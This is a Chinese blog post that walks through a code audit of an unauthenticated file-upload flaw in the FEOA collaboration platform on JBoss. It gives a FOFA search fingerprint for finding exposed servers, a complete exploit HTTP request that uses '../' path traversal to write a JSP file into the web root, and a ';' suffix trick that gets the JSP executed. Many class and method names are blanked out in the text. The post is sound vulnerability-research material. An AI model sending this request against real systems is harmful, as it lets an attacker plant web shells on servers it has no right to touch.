jboss web.xml FEOA前台文件上传漏洞

主机推荐网 472 0

前言

本篇文章主要内容为,从代码层面学习分析FEOA前台文件上传漏洞。

FOFA指纹:app="FE-协作平台"

影响版本:

漏洞验证

访问路由//let,出现如下响应即默认存在漏洞

代码分析

漏洞初步判断,在let.class文件中

这里有五处调用了对象的write()方法,该方法作用是将文件保存到服务器上,这里可能产生上传问题。

其中后四处文件名或后缀名不可控,所以这里选择第一处向上跟下看看是否可控。

item.write(new File(path, fileName));

首先请求该路由,doGet()方法中,当传递的type参数值不为mail时,进入else,所以这里不传参数就行

进入()方法

这里使用 .() 方法判断当前数据包是否为上传数据包

接着通过 .() 方法解析请求包体内容为对象集合,并转换为迭代器方便循环取出数据

.class文件

其中.()方法判断为上传数据包的条件

1.POST请求

2.请求头中需要有 -Type: / 开头的字段

接着往下看,这段代码的作用是循环判断请求体中是否传入了json参数,如果传入了便将值赋值给

到这里需要注意

首先判断是否有值,然后使用 .() 方法将 解析为第一个对象

从该对象中取出 iq 参数的值,再次解析为第二个对象

最后从第二个对象中 取出 query 参数的值,解析为第三个对象

所以我们传入的参数需要满足如下格式,否则在解析json数据时就会报错,不会继续向下执行:

------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"xxx":"xxx"}}}

当传入的参数值为mail时,获取当前日期转换为目录格式,与配置文件中的固定路径拼接在一起成为上传目录

.() 方法从配置文件中读取值 C:/FE/Media/

配置信息在WEB-INF///-bean.xml文件中

这里我们只需要将上传的数据放在最前面,即可一遍过两个内部do while循环,减少无关代码执行防止报错。

进行下一步写入文件操作,其中在 = item.() 这里读取了文件名。

当前参数-Type值如果不为 audio/wav ,且文件名不是 .wav 后缀,进入if

参数值为mail时(参数已在前面解析json数据时从数据包中获取到),进入文件写入操作。

到 item.write(new File(path, )) 这里,path不可控为固定路径与当前日期拼接而成,但可控,且未做校验。

这里需要利用../进行目录穿越到web目录下

如:

原目录
C:/FE/Media/UFMAIL/2022/08/29/

FEOA网站根目录
C:/FE/jboss/web/fe.war/

需要穿越到目录
C:/FE/Media/UFMAIL/2022/08/29/../../../../../jboss/web/fe.war/shell.jsp

C:/FE/jboss/web/fe.war/shell.jsp

漏洞利用

最终构造漏洞利用数据包如下:

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Length: 325

------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello321.jsp"
Content-Type: text/plain

<% out.println("test321");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"

{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

上传成功,响应如下图:

需要注意jsp文件是不能直接被解析的,所有的jsp都会经过,可以进去看下其放行路由的规则

第二种方式比较通用,只需要利用解析差异在文件名后加个 ; 即可绕过,成功解析jsp文件

上传文件地址

http://127.0.0.1/hello321.jsp;

修复方式:升级最新版本

总结

1、之前学习Java代码审计时,写的一篇笔记,回头再看这个前台上传漏洞时,并没有很复杂。但当时却也花费了挺多时间,原因是不熟悉Java这种较原始的上传文件的代码,导致参数传递的过程看的云里雾里。审计时还跟了type=mail时执行的代码,也就是这里

mail.doUpload(requestresponse);

该()方法在.class文件中,前后看了下似乎也并没有做后缀过滤,但后面发现做了登录验证。

2、文章不保证内容完全准确, 文中如有错误还请多多指出, 共同进步。

3、参考文章:

所属专题: jboss

发布评论 0条评论)

  • Refresh code

还木有评论哦,快来抢沙发吧~